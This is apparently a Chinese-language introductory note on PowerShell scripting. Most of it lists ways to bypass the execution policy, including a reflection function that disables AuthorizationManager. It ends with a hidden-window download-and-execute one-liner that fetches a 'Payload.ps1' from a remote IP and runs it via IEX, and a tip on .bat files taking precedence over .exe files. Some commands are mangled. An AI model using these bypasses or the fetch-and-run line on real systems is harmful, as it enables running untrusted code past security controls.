powershell脚本初识
1.power shell脚本
1.简单的脚本
2. powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于powershell的执行策略
3. 查看所支持的执行策略与当前的策略
Get-ExecutionPolicy
[System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy])
Unrestricted: 权限最高,可以不接受限制执行任何脚本 Default: 为powershell默认的策略 Restricted: 不允许任何脚本执行 Allsigned: 所有的脚本都必须经过签名才能运行 Remotesigned: 本地脚本无限制,但是对来自网络的脚本必须经过签名
4.修改策略
5.导入模块执行
6.绕过powershell的执行策略
(1)直接在interactive powershell控制台中输入powershell代码
(2)echo脚本并将其通过管道传递到powershell
(3)从文件读取脚本并通过管道传递到powershell
使用windows的type命令或powershell的get-content命令来从磁盘读取你的脚本并输入到标准的powershell中,这种技术不会导致配置文件的更改,但是需要写入磁盘。
(4)使用command命令
(5)使用EncodeCommand命令
这和使用“command”命令相似,但是提供了一个unicode/base64编码串。通过这种方式加密你的脚本可以帮绕过所有的command执行时会遇到的错误。
(6)使用invoke-command命令
(7)使用invoke-expression命令
(9)使用“bypass”绕过execution policy
当你通过脚本文件执行命令的时候这是一个很好的绕过execution policy的方法。当你使用这个标记的时候"没有任何东西被阻止,没有任何警告或提示"。这种技术不会导致配置更改或要求写入磁盘。
(10)使用“unrestricted“标记execution policy
这类似于"Bypass"标记。当你使用这个标记的时候,它会"加载所有的配置文件并运行所有的脚本。如果你运行从网上下载的一个未被签名的脚本,它会提示你需要权限",这种技术不会导致配置的更改或要求写入磁盘
(11)通过交换AuthorizationManager禁用executionpolicy
下面的函数可以通过一个交互式的PowerShell来执行。一旦函数被调用"AuthorizationManager"就会被替换成空。最终结果是,接下来的会话基本上不受execution policy的限制。然而,它的变化将被应用于会话的持续时间。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
(12)把excutionpolicy设置成process scope
执行策略可以应用于多层次的。这包括你控制的过程。使用这种技术,执行策略可以被设置为您的会话的持续时间不受限制。此外,它不会导致配置更改或需要写入到磁盘。
(13)通过命令设置excutionpolicy为currentuser scope
#本地文件执行 powershell.exe -ExecutionPolicy bypass -File Payload.ps1 powershell.exe exec bypass -Command "& {Import-Module C:\Payload.ps1;Invoke-AllChecks}" #远程文件执行 powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.1/Payload.ps1");[payload的参数] (去除方括号)
2..bat批处理文件
CMD的命令行执行的命令的优先级.bat>.exe,假如有一个cmd.bat在system32的目录下,那么优先执行的是cmd.bat。